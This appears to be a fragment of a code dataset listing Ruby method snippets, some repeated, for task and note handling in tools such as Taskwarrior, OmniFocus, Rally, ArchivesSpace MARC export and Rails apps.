"def taskwarrior_to_toodle(task)\n toodletask = {}\n toodletask[:title] = task[:description]\n toodletask[:id] = task[:toodleid] if task[:toodleid]\n toodletask[:duedate] = to_toodle_date(task[@due_field].to_i) if task[@due_field]\n toodletask[:completed] = to_toodle_date(task[:end].to_i) if task[:end]\n toodletask[:priority] = tw_priority_to_toodle(task[:priority]) if task[:priority]\n toodletask[:folder] = tw_project_to_toodle(task[:project]) if task[:project]\n if task[:tags]\n context = task[:tags].find{|i| i.start_with? '@' }\n if context\n toodletask[:context] = tw_context_to_toodle(context)\n task[:tags] = task[:tags].select{|t| not t.start_with? '@'}\n end\n toodletask[:tag] = task[:tags].join(\",\")\n end\n toodletask\n end",
"def handle_notes(notes)\n\n notes.each do |note|\n\n prefix = case note['type']\n when 'dimensions'; \"Dimensions\"\n when 'physdesc'; \"Physical Description note\"\n when 'materialspec'; \"Material Specific Details\"\n when 'physloc'; \"Location of resource\"\n when 'phystech'; \"Physical Characteristics / Technical Requirements\"\n when 'physfacet'; \"Physical Facet\"\n when 'processinfo'; \"Processing Information\"\n when 'separatedmaterial'; \"Materials Separated from the Resource\"\n else; nil\n end\n\n #20160829LJD: Add additional note types for export.\n marc_args = case note['type']\n\n when 'arrangement', 'fileplan'\n ['351','b']\n when 'odd', 'dimensions', 'physdesc', 'materialspec', 'physloc', 'phystech', 'physfacet', 'processinfo', 'separatedmaterial'\n ['500','a']\n when 'accessrestrict'\n ['506','a']\n # when 'scopecontent'\n # ['520', '2', ' ', 'a']\n when 'abstract'\n ['520', '3', ' ', 'a']\n when 'prefercite'\n ['524', '8', ' ', 'a']\n when 'acqinfo'\n ind1 = note['publish'] ? '1' : '0'\n ['541', ind1, ' ', 'a']\n when 'relatedmaterial'\n ['544','n']\n # when 'bioghist'\n # ['545','a']\n when 'custodhist'\n ind1 = note['publish'] ? '1' : '0'\n ['561', ind1, ' ', 'a']\n when 'appraisal'\n ind1 = note['publish'] ? '1' : '0'\n ['583', ind1, ' ', 'a']\n when 'accruals'\n ['584', 'a']\n when 'altformavail'\n ['535', '2', ' ', 'a']\n when 'originalsloc'\n ['535', '1', ' ', 'a']\n when 'userestrict', 'legalstatus'\n ['540', 'a']\n when 'langmaterial'\n ['546', 'a']\n # when 'otherfindaid'\n # ['555', '0', ' ', 'a']\n else\n nil\n end\n\n unless marc_args.nil?\n text = prefix ? \"#{prefix}: \" : \"\"\n text += ASpaceExport::Utils.extract_note_text(note, @include_unpublished, true)\n\n # only create a tag if there is text to show (e.g., marked published or exporting unpublished)\n if text.length > 0\n df!(*marc_args[0...-1]).with_sfs([marc_args.last, *Array(text)])\n end\n end\n\n end\n end",
"def notes_from_training\n end",
"def add_task(omnifocus_document, new_task_properties)\n # If there is a passed in OF project name, get the actual project object\n if new_task_properties['project']\n proj_name = new_task_properties[\"project\"]\n proj = omnifocus_document.flattened_tasks[proj_name]\n end\n\n # Check to see if there's already an OF Task with that name in the referenced Project\n # If there is, just stop.\n name = new_task_properties[\"name\"]\n exists = proj.tasks.get.find { |t| t.name.get == name }\n return false if exists\n\n # If there is a passed in OF context name, get the actual context object\n if new_task_properties['context']\n ctx_name = new_task_properties[\"context\"]\n ctx = omnifocus_document.flattened_contexts[ctx_name]\n end\n\n # Do some task property filtering. I don't know what this is for, but found it in several other scripts that didn't work...\n tprops = new_task_properties.inject({}) do |h, (k, v)|\n h[:\"#{k}\"] = v\n h\n end\n\n # Remove the project property from the new Task properties, as it won't be used like that.\n tprops.delete(:project)\n # Update the context property to be the actual context object not the context name\n tprops[:context] = ctx if new_task_properties['context']\n\n # You can uncomment this line and comment the one below if you want the tasks to end up in your Inbox instead of a specific Project\n# new_task = omnifocus_document.make(:new => :inbox_task, :with_properties => tprops)\n\n # Make a new Task in the Project\n proj.make(:new => :task, :with_properties => tprops)\n\n puts \"task created\"\n return true\nend",
"def add_task(omnifocus_document, new_task_properties)\n # If there is a passed in OF project name, get the actual project object\n if new_task_properties['project']\n proj_name = new_task_properties[\"project\"]\n proj = omnifocus_document.flattened_tasks[proj_name]\n end\n\n # Check to see if there's already an OF Task with that name in the referenced Project\n # If there is, just stop.\n name = new_task_properties[\"name\"]\n exists = proj.tasks.get.find { |t| t.name.get == name }\n return false if exists\n\n # If there is a passed in OF context name, get the actual context object\n if new_task_properties['context']\n ctx_name = new_task_properties[\"context\"]\n ctx = omnifocus_document.flattened_contexts[ctx_name]\n end\n\n # Do some task property filtering. I don't know what this is for, but found it in several other scripts that didn't work...\n tprops = new_task_properties.inject({}) do |h, (k, v)|\n h[:\"#{k}\"] = v\n h\n end\n\n # Remove the project property from the new Task properties, as it won't be used like that.\n tprops.delete(:project)\n # Update the context property to be the actual context object not the context name\n tprops[:context] = ctx if new_task_properties['context']\n\n # You can uncomment this line and comment the one below if you want the tasks to end up in your Inbox instead of a specific Project\n# new_task = omnifocus_document.make(:new => :inbox_task, :with_properties => tprops)\n\n # Make a new Task in the Project\n proj.make(:new => :task, :with_properties => tprops)\n\n puts \"task created\"\n return true\nend",
"def handle_notes(notes)\n\n notes.each do |note|\n\n prefix = case note['type']\n when 'dimensions'; \"Dimensions\"\n when 'physdesc'; \"Physical Description note\"\n when 'materialspec'; \"Material Specific Details\"\n when 'physloc'; \"Location of resource\"\n when 'phystech'; \"Physical Characteristics / Technical Requirements\"\n when 'physfacet'; \"Physical Facet\"\n when 'processinfo'; \"Processing Information\"\n when 'separatedmaterial'; \"Materials Separated from the Resource\"\n else; nil\n end\n\n marc_args = case note['type']\n\n when 'arrangement', 'fileplan'\n ['351', 'b']\n when 'odd', 'dimensions', 'physdesc', 'materialspec', 'physloc', 'phystech', 'physfacet', 'processinfo', 'separatedmaterial'\n ['500','a']\n when 'accessrestrict'\n ['506','a']\n #when 'scopecontent'\n #['520', '2', ' ', 'a']\n when 'abstract'\n ['520', '3', ' ', 'a']\n when 'prefercite'\n ['524', '8', ' ', 'a']\n when 'acqinfo'\n ind1 = note['publish'] ? '1' : '0'\n ['541', ind1, ' ', 'a']\n when 'relatedmaterial'\n ['544','n']\n #when 'bioghist'\n #['545','a']\n when 'custodhist'\n ind1 = note['publish'] ? '1' : '0'\n ['561', ind1, ' ', 'a']\n when 'appraisal'\n ind1 = note['publish'] ? '1' : '0'\n ['583', ind1, ' ', 'a']\n when 'accruals'\n ['584', 'a']\n when 'altformavail'\n ['535', '2', ' ', 'a']\n when 'originalsloc'\n ['535', '1', ' ', 'a']\n when 'userestrict', 'legalstatus'\n ['540', 'a']\n when 'langmaterial'\n ['546', 'a']\n when 'otherfindaid'\n ['555', '0', ' ', 'a']\n else\n nil\n end\n\n unless marc_args.nil?\n text = prefix ? \"#{prefix}: \" : \"\"\n text += ASpaceExport::Utils.extract_note_text(note, @include_unpublished, true)\n\n # only create a tag if there is text to show (e.g., marked published or exporting unpublished)\n if text.length > 0\n df!(*marc_args[0...-1]).with_sfs([marc_args.last, *Array(text)])\n end\n end\n\n end\n end",
"def create\n note = Communication.find(params[:user_task][:note_id])\n cnt,errors=UserTask.create_tasks(params,note,current_user.id)\n if errors.blank?\n note.update_attributes(:status =>'complete')\n cnt>1?flash[:notice] = \"#{cnt} tasks successfully assigned.\" : flash[:notice] = \"#{cnt} task successfully assigned.\"\n render :update do |page|\n page.redirect_to wfm_notes_path\n end\n else\n render :update do |page|\n page << \"show_error_full_msg('altnotice','#{errors.join('<br>')}','message_error_div');\"\n end\n end\n end",
"def CreateTasksForUserStory (aUserStory, tasks)\n\n\trally = RallyRestAPI.new(:base_url => @base_url, :username => @user_name, :password => @password)\n\n\tquery_result = rally.find(:hierarchical_requirement) {equal :formatted_i_d, aUserStory}\n\n\tuserStory = query_result.results.first\n\n\ttasks.each { |task| \n\n\t\tfields = {\n\t\t\t :work_product => userStory,\n\t\t\t :name => task,\n\t\t\t :state => \"Defined\",\n\t\t\t :estimate => 1,\n\t\t\t :to_do => 1\n\t\t}\n\n\t\trally.create(:task, fields)\n\n\t\tprint aUserStory + \":\" + task + \" - OK\\n\"\n\t}\nend",
"def convert_to_rake()\n object_multitask = prepare_tasks_for_objects()\n archiver = @tcs[:ARCHIVER]\n\n res = typed_file_task Rake::Task::LIBRARY, get_task_name => object_multitask do\n cmd = calc_command_line\n aname = calc_archive_name\n Dir.chdir(@project_dir) do\n FileUtils.rm(aname) if File.exists?(aname)\n# cmd.map! {|c| c.include?(' ') ? \"\\\"#{c}\\\"\" : c }\n rd, wr = IO.pipe\n cmd << {\n :err => wr,\n :out => wr\n }\n sp = spawn(*cmd)\n cmd.pop\n\n consoleOutput = ProcessHelper.readOutput(sp, rd, wr)\n\n process_result(cmd, consoleOutput, @tcs[:ARCHIVER][:ERROR_PARSER], \"Creating #{aname}\")\n\n check_config_file()\n end\n end\n res.tags = tags\n enhance_with_additional_files(res)\n add_output_dir_dependency(get_task_name, res, true)\n\n add_grouping_tasks(get_task_name)\n\n setup_rake_dependencies(res, object_multitask)\n return res\n end",
"def handle_notes(notes)\n\n notes.each do |note|\n\n prefix = case note['type']\n when 'dimensions'; \"Dimensions\"\n when 'physdesc'; \"Physical Description note\"\n when 'materialspec'; \"Material Specific Details\"\n when 'physloc'; \"Location of resource\"\n when 'phystech'; \"Physical Characteristics / Technical Requirements\"\n when 'physfacet'; \"Physical Facet\"\n #when 'processinfo'; \"Processing Information\"\n when 'separatedmaterial'; \"Materials Separated from the Resource\"\n else; nil\n end\n\n marc_args = case note['type']\n\n when 'arrangement', 'fileplan'\n ['351', 'a']\n # Remove processinfo from 500\n when 'odd', 'dimensions', 'physdesc', 'materialspec', 'physloc', 'phystech', 'physfacet', 'separatedmaterial'\n ['500','a']\n # we would prefer that information from both the note and subnote appear in subfields of a 506 element, like this:\n # <datafield ind1=\"1\" ind2=\" \" tag=\"506\">\n # <subfield code=\"a\">Restricted until 2020</subfield> <!-- from the subnote/text/content field -->\n # <subfield code=\"f\">Available</subfield> <!-- from the category list -->\n # </datafield>\n when 'accessrestrict'\n ind1 = note['publish'] ? '1' : '0'\n if note['publish'] || @include_unpublished\n if note['rights_restriction']\n result = note['rights_restriction']['local_access_restriction_type']\n if result != []\n result.each do |lart|\n df('506', ind1).with_sfs(['a', note['subnotes'][0]['content']], ['f', lart])\n end\n else\n df('506', ind1).with_sfs(['a', note['subnotes'][0]['content']])\n end\n else\n ['506', ind1 ,'', 'a']\n end\n end\n when 'scopecontent'\n ['520', '2', ' ', 'a']\n when 'abstract'\n ['520', '3', ' ', 'a']\n when 'prefercite'\n ['524', ' ', ' ', 'a']\n when 'acqinfo'\n ind1 = note['publish'] ? '1' : '0'\n ['541', ind1, ' ', 'a']\n when 'relatedmaterial'\n ['544','d']\n when 'bioghist'\n ['545','a']\n when 'custodhist'\n ind1 = note['publish'] ? '1' : '0'\n ['561', ind1, ' ', 'a']\n # Add processinfo to 583\n when 'appraisal', 'processinfo'\n ind1 = note['publish'] ? '1' : '0'\n ['583', ind1, ' ', 'a']\n when 'accruals'\n ['584', 'a']\n when 'altformavail'\n ['535', '2', ' ', 'a']\n when 'originalsloc'\n ['535', '1', ' ', 'a']\n when 'userestrict', 'legalstatus'\n ['540', 'a']\n when 'langmaterial'\n ['546', 'a']\n else\n nil\n end\n\n unless marc_args.nil?\n text = prefix ? \"#{prefix}: \" : \"\"\n text += ASpaceExport::Utils.extract_note_text(note, @include_unpublished)\n\n # only create a tag if there is text to show (e.g., marked published or exporting unpublished) and if there are not multiple local access restriction types (if there are, that's already handled above)\n unless note['type'] == 'accessrestrict' && note['rights_restriction']\n if text.length > 0\n df!(*marc_args[0...-1]).with_sfs([marc_args.last, *Array(text)])\n end\n end\n end\n\n end\n end",
"def note_contents=(notes)\n notes.each do |note|\n if note != \"\"\n self.notes << Note.find_or_create_by(content: note)\n end\n end\n\n end",
"def handle_agent_notes(notes)\n notes.each do |note|\n prefix = case note['jsonmodel_type']\n when 'note_dimensions'; \"Dimensions\"\n when 'note_physdesc'; \"Physical Description note\"\n when 'note_materialspec'; \"Material Specific Details\"\n when 'note_physloc'; \"Location of resource\"\n when 'note_phystech'; \"Physical Characteristics / Technical Requirements\"\n when 'note_physfacet'; \"Physical Facet\"\n when 'note_processinfo'; \"Processing Information\"\n when 'note_separatedmaterial'; \"Materials Separated from the Resource\"\n else; nil\n end\n\n marc_args = case note['jsonmodel_type']\n\n when 'arrangement', 'fileplan'\n ['351','b']\n when 'note_odd', 'note_dimensions', 'note_physdesc', 'note_materialspec', 'note_physloc',\n 'note_phystech', 'note_physfacet', 'note_processinfo', 'note_separatedmaterial'\n ['500','a']\n when 'accessrestrict'\n ['506','a']\n when 'note_scopecontent'\n ['520', '2', ' ', 'a']\n when 'note_abstract'\n #check settings for enabling tag 520 and indicator 3\n if(MarcExportSettings.m_export_settings['tag_520_ind1_3'])\n ['520', '3', ' ', 'a']\n end\n when 'note_prefercite'\n ['524', ' ', ' ', 'a']\n when 'note_acqinfo'\n ind1 = note['publish'] ? '1' : '0'\n ['541', ind1, ' ', 'a']\n when 'note_relatedmaterial'\n ['544','a']\n when 'note_bioghist'\n ['545', '1', ' ','a']\n when 'note_custodhist'\n ind1 = note['publish'] ? '1' : '0'\n ['561', ind1, ' ', 'a']\n when 'note_appraisal'\n ind1 = note['publish'] ? '1' : '0'\n ['583', ind1, ' ', 'a']\n when 'note_accruals'\n ['584', 'a']\n when 'note_altformavail'\n ['535', '2', ' ', 'a']\n when 'note_originalsloc'\n ['535', '1', ' ', 'a']\n when 'note_userestrict', 'note_legalstatus'\n ['540', 'a']\n when 'note_langmaterial'\n ['546', 'a']\n else\n nil\n end\n\n unless marc_args.nil?\n if handle_settings(marc_args)\n text = prefix ? \"#{prefix}: \" : \"\"\n #Strip hard returns\n if(MarcExportSettings.m_export_settings['tag_ss_1'])\n text += ASpaceExport::Utils.extract_note_text(note).delete(\"\\n\")\n else\n text += ASpaceExport::Utils.extract_note_text(note)\n end\n #add access restriction\n if(marc_args[0] == '506')\n if( MarcExportSettings.m_export_settings['tag_506_sc_a_ss_1'])\n urls = text.scan(/(?:http|https):\\/\\/[a-z0-9]+(?:[\\-\\.]{1}[a-z0-9]+)*\\.[a-z]{2,5}(?:(?::[0-9]{1,5})?\\/[^\\s]*)?/ix)\n unless urls.empty?\n text = text.gsub(/(\\. )[\\s\\S]*/, '. This collection has been digitized and is available online.')\n ead_text = if MarcExportSettings.m_export_settings['tag_856_ss_1'].nil? then MarcExportSettings.m_export_settings['tag_856_ss_1'] else \"Finding aid online:\" end\n df('856', '4', '2').with_sfs(\n ['z', ead_text],\n ['u', urls[0].chomp(\".\")]\n )\n end\n end\n end\n df!(*marc_args[0...-1]).with_sfs([marc_args.last, *Array(text)])\n end\n end\n end\n end",
"def note_contents=(notes)\n notes.each do |note|\n if note.strip != \"\"\n content = self.notes.build(content: note)\n content.save\n end\n end\n end",
"def add_task(omnifocus_document, new_task_properties, task_ext_ticket_key)\n debug_msg(\"add_task: #{omnifocus_document} #{new_task_properties} #{task_ext_ticket_key}\", 3)\n # If there is a passed in OF project name, get the actual project object\n if new_task_properties['project']\n proj_name = new_task_properties[\"project\"]\n proj = omnifocus_document.flattened_tasks[proj_name]\n debug_msg(\"PROJ: #{proj}\", 10)\n end\n\n\n #TODO\n #If the project/label doesn't exist, create it.\n #\n\n\n\n # TODO: change this to match off the jira id as a regex, not ==, this permits the subject to change\n #\n # Check to see if there's already an OF Task with that name in the referenced Project\n # If there is, just stop.\n name = new_task_properties[\"name\"]\n # binding.pry;\n exists = proj.tasks.get.find { |entry| debug_msg(\"exists entry: #{entry}\",10); entry.name.get == name}\n #I tried several means of trying to get this to be a match, alas, I couldn't get it to work easily.\n # problem for future me.\n # /task_ext_ticket_key/ }#entry.name.get =~ /task_ext_ticket_key/ }\n #tasks.get.find.match(task_ext_ticket_key)# { |t|} # t.name == /task_ext_ticket_key/ }\n if exists\n debug_msg('exists is true',6)\n return false\n end\n # return false if exists\n\n # If there is a passed in OF context name, get the actual context object\n if new_task_properties['context']\n ctx_name = new_task_properties[\"context\"]\n ctx = omnifocus_document.flattened_contexts[ctx_name]\n debug_msg(\"CTX: #{ctx}\", 9)\n end\n\n # Do some task property filtering. I don't know what this is for, but found it in several other scripts that didn't work...\n tprops = new_task_properties.inject({}) do |h, (k, v)|\n h[:\"#{k}\"] = v\n h\n end\n\n # Remove the project property from the new Task properties, as it won't be used like that.\n tprops.delete(:project)\n # Update the context property to be the actual context object not the context name\n tprops[:context] = ctx if new_task_properties['context']\n\n # You can uncomment this line and comment the one below if you want the tasks to end up in your Inbox instead of a specific Project\n# new_task = omnifocus_document.make(:new => :inbox_task, :with_properties => tprops)\n\n # Make a new Task in the Project\n proj.make(:new => :task, :with_properties => tprops)\n\n puts \"task created\"\n return true\nend",
"def note_contents=(notes)\n notes.each do |content|\n if content.strip != ''\n self.notes.build(content: content)\n end\n end\n end",
"def add_note # rubocop:disable Metrics/AbcSize, Metrics/CyclomaticComplexity\n @bib.biblionote.each do |n|\n case n.type\n when \"annote\" then @item.annote = n.content\n when \"howpublished\" then @item.howpublished = n.content\n when \"comment\" then @item.comment = n.content\n when \"tableOfContents\" then @item.content = n.content\n when nil then @item.note = n.content\n end\n end\n end",
"def task due_date, subject, notes=nil\n due = Chronic.parse(due_date).strftime('%Y-%m-%d %H:%M')\n params = {\n related_to: [ self.id ],\n subject: subject,\n due_date: due\n }\n params[:notes] = notes if notes\n @nimble.post \"activities/task\", params\n end",
"def create\n @task_note = Note.new(params[:note])\n\n respond_to do |format|\n if @task_note.save\n format.html { redirect_to notes_path, notice: 'Task note was successfully created.' }\n format.json { render json: @task_note, status: :created, location: @task_note }\n else\n format.html { render action: \"new\" }\n format.json { render json: @task_note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_on_task(client, task: required(\"task\"), text: required(\"text\"), options: {}, **data)\n with_params = data.merge(text: text).reject { |_,v| v.nil? || Array(v).empty? }\n self.new(parse(client.post(\"/tasks/#{task}/stories\", body: with_params, options: options)).first, client: client)\n end",
"def note_contents=(notes)\n \tnotes.each do |content|\n \t\tself.notes << Note.find_or_create_by(content: content) unless content == \"\"\n \tend\n end",
"def create\n @note = current_user.notes.new(params[:note])\n @note.note = view_context.markdown(@note.note).gsub(\"\\n\",\"\").gsub(\"\\r\",\"\")\n @note.save\n $statsd.increment 'animal.note.created'\n respond_with(@note)\n end",
"def doc_task; end",
"def note_contents\n self.notes.each.map{|note| note.content}\n end",
"def remove_desc_for_task( names )\n Array(names).each do |task_name|\n task = Rake.application.tasks.find {|t| t.name == task_name}\n next if task.nil?\n task.instance_variable_set :@comment, nil\n end\nend",
"def parse_task(tk)\n collect_tokens\n add_token tk\n\n token_listener self do\n skip_tkspace false\n\n tk = get_tk\n name = tk.text\n\n @task = @container.find_instance_method_named name\n\n unless @task then\n @task = RDoc::RakeTask.new tokens_to_s, name\n @container.add_method @task\n @stats.add_method @task\n end\n\n @task.comment += use_desc\n\n consume_task_arguments\n end\n\n @task.collect_tokens\n @task.add_tokens token_stream\n\n token_listener @task do\n consume_body\n end\n\n @task\n end",
"def create\n params[:note].merge!(:created_by_user_id=>current_user.id, :assigned_to_user_id => params[:note][:assigned_to_user_id].blank? ? current_user.id : params[:note][:assigned_to_user_id])\n unless params[:note][:assigned_by_employee_user_id] == \"\"\n employee_user = User.find(params[:note][:assigned_by_employee_user_id])\n params[:note].merge!(:company_id=>employee_user.company_id)\n end\n note = Communication.new(params[:note])\n @document_home = DocumentHome.new()\n errors = note.validate_note_docs(params)\n errors += UserTask.check_validations(params,current_user).join(\"<br>\") unless params[:generate_task].blank?\n responds_to_parent do\n if errors.blank?\n Communication.transaction do\n note.save\n upload_multiple_documents(note,params)\n create_task(note,params)\n end\n render :update do |page|\n page.redirect_to wfm_notes_path\n flash[:notice] = \"Note #{note.status == 'complete'? 'completed' : 'created'} successfully\"\n end\n else\n render :update do |page|\n page << \"show_error_full_msg('altnotice','#{errors}','message_error_div');\"\n page << \"enableAllSubmitButtons('buttons_to_disable','Save');\"\n end\n end\n end\n end",
"def map_note_format(node)\n note_selector = <<-eos\n .note:not(.learning-objectives),\n .example,\n .grasp-check,\n [data-type=\"note\"],\n [data-element-type=\"check-understanding\"]\n eos\n\n note_selector = note_selector.gsub(/\\s+/, \"\")\n\n node.css(note_selector).each do |note|\n note.set_attribute('data-tutor-transform', true)\n body = Nokogiri::XML::Node.new('div', doc)\n body.set_attribute('data-type', 'content')\n\n content = note.css('>*:not([data-type=title])')\n content.unlink()\n\n body.children = content\n note.add_child(body)\n end\n\n node\n end",
"def send_to_kindle(task)\n @task = task\n mobi_name = @task.ebook_identifier.sub(/.epub$/, '.mobi')\n attachments[mobi_name] = File.read(@task.mobi_path)\n mail to: @task.email, subject: \"Convert\"\n end",
"def note_contents=(notes)\n notes.each do |content|\n if content.strip != '' # => ignores blank notes\n self.notes.build(content: content) \n end\n end\n end",
"def note_contents=(contents)\n contents.each do |content|\n # next if content == ''\n if !content.empty?\n note = self.notes.build(content: content)\n # note = Note.find_or_create_by(content: content)\n # self.notes << note\n end\n end\n end",
"def create\n \n begin\n UserTask.transaction do\n # Below code is use to append created_by_user_id,performed_by,:user_id,assigned_to to the @com_notes_entries array object.\n com_notes_entries = params[:com_notes_entries].values.collect { |com_notes_entries| Communication.new(com_notes_entries.merge!(:created_by_user_id =>current_user.id,:assigned_to_user_id=>current_user.id,:assigned_by_employee_user_id =>get_employee_user_id,:company_id=>get_company_id))}\n # below code is use to count the number of notes saved.\n cnt=0\n # Below mention transaction block basically revert Task entry and even revert the Communication \"status: field to update.\n # Added by Ajay Arsud Date:09 Sept 2010 \n com_notes_entries.each do |com_notes_entries|\n unless com_notes_entries.description.blank?\n com_notes_entries.note_priority = com_notes_entries.note_priority == 0? 1 : 2\n cnt =cnt+1 if com_notes_entries.save!\n if com_notes_entries.is_actionable.eql?(false)\n task = UserTask.new(:name=>com_notes_entries.description,:created_by_user_id=>@current_user.id,:tasktype=>6,:note_id=>com_notes_entries.id,:assigned_by_employee_user_id=>com_notes_entries.assigned_by_employee_user_id,:assigned_to_user_id=>@current_user.id,:status=>'complete',:completed_at =>Time.now,:completed_by_user_id => @current_user.id,:priority=>com_notes_entries.note_priority.to_i == 1? 1 : 2)\n com_notes_entries.update_attributes(:status =>'complete')\n task.save\n end\n end\n end \n cnt >= 1? (cnt>1?flash[:notice] = \"#{cnt} #{t(:text_notes_were)} successfully assigned.\" : flash[:notice] = \"#{cnt} #{t(:text_note_was)} successfully assigned.\") : (flash[:error]=\"Error while assigning the notes. Please enter all details.\")\n redirect_to :action => 'new'\n end\n rescue\n redirect_to :action => 'new'\n end\n end",
"def start(task, notes)\n @db[:tasks][task] = Array[] unless @db[:tasks][task]\n if !@db[:current].include?(task)\n @db[:current].unshift(task)\n @db[:tasks][task].push({:start => Time.now, :notes => notes})\n end\n end",
"def update_task\r\n\r\n t = BgWorker.task(:name => params[:task][:name]) # new task so we update data\r\n if t[:name].blank?\r\n flash[:error] = _('Invalid name!')\r\n redirect_to :action => :back\r\n end\r\n t[:filename]\t= Rails.root.join('lib', 'tasks', \"bg_worker_#{t[:name]}.rake\")\r\n id \t\t= params[:task][:id]\r\n t[:code]\t= params[:task][:code]\r\n t[:namespace] \t= params[:task][:namespace]\r\n t[:desc]\t= params[:task][:desc]\r\n t[:args]\t= params[:task][:args].blank? ? nil :\r\n params[:task][:args].tr(' :', ',').split(',').compact.map{|d|\r\n \":#{d}\".gsub('::', ':') unless d.blank?}.compact.join(', ')\r\n arg_string\t= \", [#{t[:args]}]\" unless t[:args].blank?\r\n t[:dependencies]= params[:task][:dependencies].blank? ? nil :\r\n params[:task][:dependencies].tr(' :', ',').split(',').compact.map{|d|\r\n \":#{d}\".gsub('::', ':') unless d.blank?}.compact.join(', ')\r\n dep_string\t= \" => [#{t[:dependencies]}]\" unless t[:dependencies].blank?\r\n t = BgWorker.task(t)\r\n file = %Q[# name: #{t[:name]}\r\n\r\n # args: #{t[:args]}\r\n # desc: #{t[:desc]}\r\n #{\"# namespace: #{t[:namespace]}\" unless t[:namespace].blank?}\r\n # dependencies: #{t[:dependencies] unless t[:dependencies].blank?}\r\n #{\"namespace :#{t[:namespace]} do\" unless t[:namespace].blank?}\r\n\r\n desc %q[#{t[:desc]}]\r\n task :#{t[:name]} #{arg_string} #{dep_string} do |task #{', args' if arg_string}|\r\n\r\n #{t[:code]}\r\n\r\n end\r\n\r\n #{'end' unless t[:namespace].blank?}]\r\n\r\n if !id.blank? && id != t[:name]\r\n begin\r\n File.rm(Rails.root.join('lib', 'tasks', \"#{id}.rake\"))\r\n rescue\r\n flash[:error] = _('Task %{obj} could not be erased!') % {:obj => id}\r\n end\r\n end\r\n begin\r\n File.open(t[:filename], 'w+') {|f| f.write file}\r\n flash[:notice] = _('%{obj} successfully modified') % {:obj => _('Task')}\r\n rescue\r\n flash[:error] ||= ''\r\n flash[:error] << _('%{obj} could not be modified!') % {:obj => _('Task')}\r\n end\r\n redirect_to :action => :list\r\n end",
"def todo_tag(text); end",
"def convert_to_rake()\n object_multitask = prepare_tasks_for_objects()\n archiver = @tcs[:ARCHIVER]\n\n res = typed_file_task Rake::Task::LIBRARY, get_task_name => object_multitask do\n dir = @project_dir\n objs = @objects\n aname = get_archive_name\n \n if @output_dir_abs\n dir = @output_dir\n prefix = File.rel_from_to_project(@project_dir, @output_dir)\n objs.map! { |m| m[prefix.length..-1] }\n aname = aname[prefix.length..-1]\n end\n \n Dir.chdir(dir) do\n\n FileUtils.rm(aname) if File.exists?(aname)\n cmd = [archiver[:COMMAND]] # ar\n cmd += archiver[:ARCHIVE_FLAGS].split(\" \")\n cmd += archiver[:FLAGS].split(\" \") # --all_load\n cmd << aname # -o debug/x.exe\n cmd += objs\n\n if Cxxproject::Utils.old_ruby?\n cmdLine = cmd.join(\" \")\n if cmdLine.length > 8000\n inputName = aname+\".tmp\"\n File.open(inputName,\"wb\") { |f| f.write(cmd[1..-1].join(\" \")) }\n consoleOutput = `#{archiver[:COMMAND] + \" @\" + inputName}`\n else\n consoleOutput = `#{cmd.join(\" \")} 2>&1`\n end\n else\n rd, wr = IO.pipe\n cmd << {\n :err=>wr,\n :out=>wr\n }\n sp = spawn(*cmd)\n cmd.pop\n \n consoleOutput = ProcessHelper.readOutput(sp, rd, wr)\n end\n\n process_result(cmd, consoleOutput, archiver[:ERROR_PARSER], \"Creating #{aname}\")\n end\n end\n\n enhance_with_additional_files(res)\n add_output_dir_dependency(get_task_name, res, true)\n\n add_grouping_tasks(get_task_name)\n\n setup_rake_dependencies(res)\n return res\n end",
"def song_notes=(notes)\n notes.each do |note|\n self.notes.build(content: note)\n end\n end",
"def song_notes=(notes)\n notes.each do |note|\n self.notes.build(content: note)\n end\n end",
"def assign_notes_to_sets(sets,hw,book)\n notes = []\n stream_starts_at_set = 1\n hw.each { |stream|\n stream_starts_at_set = stream_starts_at_set+stream[\"delay\"].to_i\n if !(stream[\"notes\"].nil?) then\n stream[\"notes\"].each { |t,text|\n t = t.to_s\n p = nil\n if t=~/\\A(\\d+)\\Z/ then\n t = $1.to_i\n s = stream_starts_at_set+t\n else\n if !($label_to_num.has_key?(t)) then\n fatal_error(\"note is given for problem #{t}, but no such label is defined; text of note is #{text}\")\n end\n ch,num = $label_to_num[t]\n p = [ch,num]\n s = $problem_assigned_on_set[p]\n text.gsub!(/\\$\\$/) {\"#{ch}-#{num}\"}\n end\n if s.nil? then fatal_error(\"Error in note for problem #{t}, problem not assigned?\") end\n if notes[s].nil? then notes[s]=[] end\n notes[s].push([p,text])\n }\n end \n }\n 1.upto(sets.length-1) { |set_number|\n if notes[set_number].nil? then notes[set_number]=[] end\n }\n return notes\nend",
"def to_up_notes(raw_notes)\n raw_notes.present? ? { other: raw_notes } : Observation.no_notes\n end",
"def normalize_tasks_harvest(tasks)\n tasks.each do |task|\n project_original_id = task[\"payload\"][\"project\"][\"id\"]\n project = Project.find_by(workspace_id: harvest_workspace.id, original_id: project_original_id)\n found_task = Task.find_by(project_id: project.id, original_id: task[\"payload\"][\"task\"][\"id\"])\n if found_task\n found_task.name = task[\"payload\"][\"task\"][\"name\"]\n else\n found_task = Task.create!(project_id: project.id, name: task[\"payload\"][\"task\"][\"name\"], original_id: task[\"payload\"][\"task\"][\"id\"])\n end\n end\n end",
"def remove_desc_for_task( names )\n Array(names).each do |task_name|\n task = Rake.application.tasks.find {|t| t.name == task_name}\n next if task.nil?\n task.instance_variable_set :@comment, nil\n end\nend",
"def parse_task_ids full_document\n full_document.gsub(/%task(\\d+)/) do\n link_to \"task ##{$1}\", task_path($1)\n end\n end",
"def CreateTasksForDefect (aDefect, tasks)\n\n\trally = RallyRestAPI.new(:base_url => @base_url, :username => @user_name, :password => @password)\n\n query_result = rally.find(:defect) {equal :formatted_i_d, aDefect}\n\n defect = query_result.results.first\n\n tasks.each { |task|\n\n fields = {\n :work_product => defect,\n :name => task,\n :state => \"Defined\",\n :estimate => 1,\n :to_do => 1\n }\n\n rally.create(:task, fields)\n\n print aDefect + \":\" + task + \" - OK\\n\"\n }\nend",
"def old_combine_notes\n notes = self.notes\n full_text = \"\"\n\n for note in notes\n full_text << \" //- \"\n full_text << note.body.strip\n # if @note != @notes[-1]\n # @full_text << \" //- \"\n # end\n end\n\n self.combined_notes = full_text\n puts self.combined_notes\n self.save \n end",
